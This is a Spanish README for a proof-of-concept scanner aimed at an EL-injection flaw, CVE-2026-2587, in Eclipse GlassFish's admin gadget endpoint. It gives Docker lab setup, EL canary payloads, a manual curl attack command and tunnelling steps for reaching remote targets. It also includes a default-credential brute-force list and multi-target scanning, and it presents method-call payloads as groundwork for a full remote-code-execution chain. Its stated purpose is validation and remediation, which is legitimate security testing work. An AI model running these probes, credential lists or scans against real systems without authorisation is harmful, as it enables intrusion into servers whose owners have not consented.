Si el XML contiene `#{7*7}` en un atributo `<ModulePrefs title="">`, GlassFish lo evalúa en el lado del servidor y devuelve `49` — confirmando la ejecución de EL. Una cadena completa de RCE sigue a través del acceso de EL al runtime de Java.

Los registros públicos de avisos actuales no publican un límite de versión afectada o parcheada. Por lo tanto, este validador se basa primero en la evidencia: identifica GlassFish e informa metadatos de versión, pero no clasifica un objetivo como vulnerable solo a partir de una cadena de versión.

---

## Cómo Funciona

![Flujo de trabajo de validación segura para CVE-2026-2587](https://assets.kitploit.com/production/public/readmes/15612/d24fad85e9cfd24152f916ba71622ed442636e171c4e912ad5ffd7d973f9a6ba.png)

La ruta de validación segura aloja una sonda XML benigna, envía una solicitud autenticada de la consola de administración a `gadget.jsf`, permite que GlassFish obtenga ese XML desde la URL de callback, y verifica si el canary `<ModulePrefs title="">` evalúa de `#{7*7}` a `49`.

**Punto de inyección confirmado vs. no:**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" />              <!-- returns 49 -->
<ModulePrefs description="#{7*7}" />        <!-- returns 49 -->

<!-- ❌ EL NOT evaluated -->
<Content type="html">
  <![CDATA[ #{7*7} ]]>                      <!-- returns #{7*7} literally -->
</Content>

**Contenido del repositorio:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│   └── cve-2026-2587-validation-flow.png  ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py   ← main script
├── probe.xml                   ← ready-to-host static probe XML
├── targets.txt.example         ← multi-target file template
└── README.md

Levanta GlassFish 7.0.15 con puertos enlazados solo a `127.0.0.1` y `host.docker.internal` preconfigurado para que el contenedor pueda alcanzar tu servidor XML local.

### Opción B — ejecución simple de docker run```bash
docker run --rm \
  --name gf-cve-2026-2587-lab \
  -p 127.0.0.1:8080:8080 \
  -p 127.0.0.1:4848:4848 \
  --add-host=host.docker.internal:host-gateway \
  omnifish/glassfish:7.0.15

Verificar la accesibilidad desde la perspectiva del contenedor:```bash
docker exec gf-cve-2026-2587-lab \
  curl -s http://host.docker.internal:8000/probe.xml | head -5

| Output | Significado |
|---|---|
| `CVE2587_TITLE_49_END` | **Vulnerable** — EL evaluado en `ModulePrefs title` |
| `CVE2587_BODY_49_END` | **Vulnerable** — EL evaluado en cuerpo CDATA |
| `CVE2587_TITLE_#{7*7}_END` | No vulnerable / EL no evaluado |
| *(sin salida)* | GlassFish nunca obtuvo el XML — verificar alcance del callback |

> El cuerpo CDATA normalmente permanece sin procesar incluso en compilaciones vulnerables; un resultado positivo de `TITLE` solo es suficiente para confirmar el hallazgo.

---

### Validación automatizada contra el laboratorio local```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose

Salida después de escribir a un archivo:```
[+] probe XML written → probe.xml
    Expression  : #{7*7}
    Expects     : CVE2587_TITLE_49_END  in response title
    Host this file at a URL reachable by the target server.
    Then run:
      --xml-url http://YOUR_SERVER/probe.xml
      --prefix CVE2587 --left 7 --right 7

> `host.docker.internal` se resuelve a la máquina host desde dentro de Docker.
> El contenedor GlassFish obtiene tu probe XML a través de esta dirección.

---

### Credenciales```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose

Si se encuentra un par válido, se imprime en la salida y se registra en la columna `brute_creds` del CSV. Si todos los pares fallan, el escaneo sale con `AUTH_REQUIRED`.

Algunas compilaciones de GlassFish devuelven `/login.jsf` después de un POST de formulario válido. El validador no trata esa URL por sí sola como un fallo; confirma la sesión probando el endpoint del gadget de administración y verificando que la respuesta no sea el formulario de inicio de sesión.

Lista de credenciales probadas (en orden):

| Usuario | Contraseña |
|---|---|
| `admin` | `admin` |
| `admin` | *(vacío)* |
| `admin` | `adminadmin` |
| `admin` | `password` |
| `admin` | `admin123` |
| `admin` | `Admin1234` |
| `admin` | `glassfish` |
| `admin` | `glassfishadmin` |
| `admin` | `changeit` |
| `admin` | `changeme` |
| `admin` | `secret` |
| `admin` | `welcome1` |
| `admin` | `oracle` |
| `admin` | `Oracle123` |
| `administrator` | `administrator` |
| `administrator` | `password` |
| `administrator` | `admin` |
| `glassfish` | `glassfish` |
| `root` | `root` |
| `root` | `password` |
| `root` | `toor` |

---

### Remoto a través de Cloudflare Tunnel

No se requiere cuenta para un túnel rápido.

**Paso 1 — Instalar cloudflared:**```bash
# macOS
brew install cloudflared

# Linux
wget -q https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared-linux-amd64.deb

**Paso 3 — Ejecuta el validador:**

Usa el mismo nombre de host generado con `http://` para la URL de callback. Esto evita
fallos de trust-store de JVM en contenedores de laboratorio GlassFish que no pueden validar la
cadena de certificados TLS de Cloudflare. Si pegas la URL `https://`
trycloudflare generada, el validador reescribe esa retrollamada a `http://` e imprime
una advertencia. Una barra diagonal final es opcional; el validador agrega `/canary.xml` y
las rutas XML por prueba automáticamente.```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://REMOTE_TARGET:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://random-words.trycloudflare.com \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

> `--prefix`, `--left`, `--right` deben coincidir con los valores dentro de su archivo XML alojado
> para que el script sepa qué token evaluado buscar en la respuesta.

---

### Remoto vía ngrok (último recurso)

Use ngrok solo como última opción para objetivos remotos. El nivel gratuito puede bloquear
las obtenciones del lado del servidor que no provengan de un navegador, devolviendo una página
de advertencia HTML intersticial. En ese caso, GlassFish obtiene la página de advertencia en lugar de su
`probe.xml`, y el validador puede clasificar la respuesta como una página de inicio de sesión o
un resultado no concluyente. Prefiera Cloudflare Tunnel, un VPS o un host web estático que
la JVM objetivo pueda obtener limpiamente a menos que tenga una cuenta de ngrok de pago que
evite esta restricción.

**Paso 1 — Instalar ngrok:**```bash
# macOS
brew install ngrok

# Linux
curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \
  | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null
echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \
  | sudo tee /etc/apt/sources.list.d/ngrok.list
sudo apt update && sudo apt install ngrok

**Paso 3 — Ejecutar el validador:**```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://REMOTE_TARGET:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url https://abc123.ngrok-free.app \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

---

## Uso — Múltiples objetivos

### Formato del archivo de objetivos

El repositorio incluye `targets.txt.example` como plantilla. Cópialo y edítalo:```bash
cp targets.txt.example targets.txt
# edit targets.txt with your servers

Ejecutar contra todos los objetivos:```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --targets-file targets.txt \
  --listen 0.0.0.0:8000 \
  --callback-url https://random-words.trycloudflare.com \
  --username admin --password admin \
  --insecure \
  --csv results.csv

> Recuentos de hilos recomendados:
> - Laboratorio local: hasta `10`
> - Destinos remotos por internet: `3–5` (respetar límites de tasa)
> - Destino único: `1` (predeterminado)

---

## Formatos de Salida

### Consola

Salida legible por defecto. Agregue `--verbose` para ver los resultados por caso de prueba.```
────────────────────────────────────────────────────────────────
  Target : https://localhost:4848
  Server : Eclipse GlassFish 7.0.15
  Version : Eclipse GlassFish 7.0.15  [asadmin-api]  (affected: UNKNOWN)
  Console : present  |  Gadget: present  |  Proof: evaluated
[+] VULNERABLE  —  9/10 test cases confirmed
[+]   TC-01 Basic multiply      #{7*7} → 49
[+]   TC-02 Addition            #{1337+2587} → 3924
[+]   TC-03 Large multiply      #{31337*271} → 8492327
    ...

    Remediation: restrict admin access and apply vendor-published fixed builds when available.

---

### CSV```bash
# Write to file
--csv results.csv

# Write to stdout (pipe-friendly)
--csv -

### JSON```bash
--json

Múltiples objetivos devuelven un array JSON.

---

### Combinando Salidas

Todos los formatos de salida son independientes — combínalos libremente:```bash
# Console + CSV + JSON simultaneously
python3 CVE-2026-2587-Exploit-POC.py \
  --targets-file targets.txt \
  --listen 0.0.0.0:8000 \
  --callback-url https://random-words.trycloudflare.com \
  --username admin --password admin \
  --threads 5 --insecure --verbose \
  --csv results.csv \
  --json > results.json

También aprende una raíz de contexto GUI no predeterminada a partir de los encabezados de redirección `Location`
y antepone esa raíz antes de realizar pruebas. Use valores `--path` repetibles solo cuando
desee anular esta lista de descubrimiento.

La detección de versiones se intenta a partir de los encabezados de respuesta, la API REST de administración,
la página de inicio de sesión y, después de un inicio de sesión exitoso, `/__asadmin/version.json` o
`/__asadmin/version`. La información de versión mejora el enrutamiento y los informes únicamente; el
escáner deja `version_affected` como `UNKNOWN` hasta que los registros de avisos públicos
publiquen un límite de versión.

---

### Valores canary personalizados

Haga coincidir el validador con un XML artesanal usando `--prefix`, `--left`, `--right`.
Requerido cuando se usa `--xml-url` con su propio archivo alojado.```bash
# Matches: <ModulePrefs title="MYTEST_TITLE_#{13*17}_END" />
# Expects: MYTEST_TITLE_221_END in response
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://TARGET:4848 \
  --xml-url http://YOUR_SERVER/custom.xml \
  --prefix MYTEST --left 13 --right 17 \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

---

## Casos de Prueba

El validador ejecuta 10 sondas EL distintas, cada una confirmando una capacidad diferente:

| # | Payload | Esperado | Lo que demuestra |
|---|---|---|---|
| TC-01 | `#{7*7}` | `49` | Canario aritmético de referencia |
| TC-02 | `#{1337+2587}` | `3924` | Operador de suma |
| TC-03 | `#{31337*271}` | `8492327` | Multiplicación grande resistente a colisiones |
| TC-04 | `#{9999-1337}` | `8662` | Operador de resta |
| TC-05 | `#{(6+1)*(6+1)}` | `49` | Paréntesis anidados / precedencia de operadores |
| TC-06 | `#{1==1?'VULN':'SAFE'}` | `VULN` | Condicional / ternario — se ejecuta el flujo de control |
| TC-07 | `#{'CVE'.concat('2026')}` | `CVE2026` | Acceso a métodos de cadena |
| TC-08 | `#{'GL'.concat('ASS').concat('FISH')}` | `GLASSFISH` | Llamadas a métodos encadenados |
| TC-09 | `#{17 mod 5}` | `2` | Operador de palabra clave EL |
| TC-10 | `#{100*100}` | `10000` | Confirmación aritmética adicional |

TC-06, TC-07 y TC-08 son los más significativos — superarlos significa que el motor EL ejecuta **métodos de la API de cadenas y lógica condicional**, el precursor directo de la cadena completa de RCE.

---

## Interpretación de la Salida

| Estado | Significado |
|---|---|
| `VULNERABLE` | Expresión EL evaluada — instancia confirmada afectada |
| `VULNERABLE_UNAUTH` | Endpoint expuesto sin autenticación — peor que la CVE base |
| `NOT_VULNERABLE` | Expresión reflejada literalmente — EL no evaluada |
| `AUTH_REQUIRED` | Endpoint devolvió página de inicio de sesión — verificar cookie o credenciales |
| `INCONCLUSIVE` | Respuesta recibida pero canario no encontrado — ver abajo |
| `ERROR` | Solicitud fallida — problema de red/TLS |

`detected_version` y `version_source` son contexto de apoyo. Debido a que los
avisos públicos actualmente enumeran las versiones afectadas y parcheadas como desconocidas, no trate
`version_affected=UNKNOWN` como un resultado negativo. El único hallazgo positivo es un
token de prueba evaluado.

**Solución de problemas INCONCLUSIVE:**

| Síntoma | Causa | Solución |
|---|---|---|
| `XML hits: 0` | GlassFish nunca obtuvo tu XML | `--callback-url` no alcanzable desde el objetivo |
| `XML hits: 1+` pero sin coincidencia | EL evaluado pero campo incorrecto | Esperado para contenido CDATA |
| Redirección de autenticación durante la ejecución | Sesión expirada | Obtén un nuevo `JSESSIONID` del navegador |
| POST de inicio de sesión redirige a `j_security_check` | Contraseña incorrecta | Usa `--cookie` en su lugar |

---

## Verificación Manual

No se requiere Python:```bash
# Step 1 — create probe XML
mkdir probe && cat > probe/probe.xml << 'EOF'
<?xml version="1.0"?>
<Module>
  <ModulePrefs title="PROBE_#{7*7}_END"/>
  <Content type="html"><![CDATA[ok]]></Content>
</Module>
EOF

# Step 2 — serve it
python3 -m http.server 8000 --directory probe &

# Step 3 — hit the endpoint with your session cookie
curl -sk \
  -H "Cookie: JSESSIONID=YOUR_SESSION_ID" \
  "https://localhost:4848/common/gadgets/gadget.jsf?gadget=http://host.docker.internal:8000/probe.xml" \
  | grep -oE 'PROBE_[^"< ]+_END'

# Vulnerable output:
# PROBE_#{7*7}_END    ← raw (CDATA — expected)
# PROBE_49_END        ← evaluated ✅ VULNERABLE

---

<p align="center">
  <a href="https://github.com/Bhanunamikaze">github.com/Bhanunamikaze</a>
</p>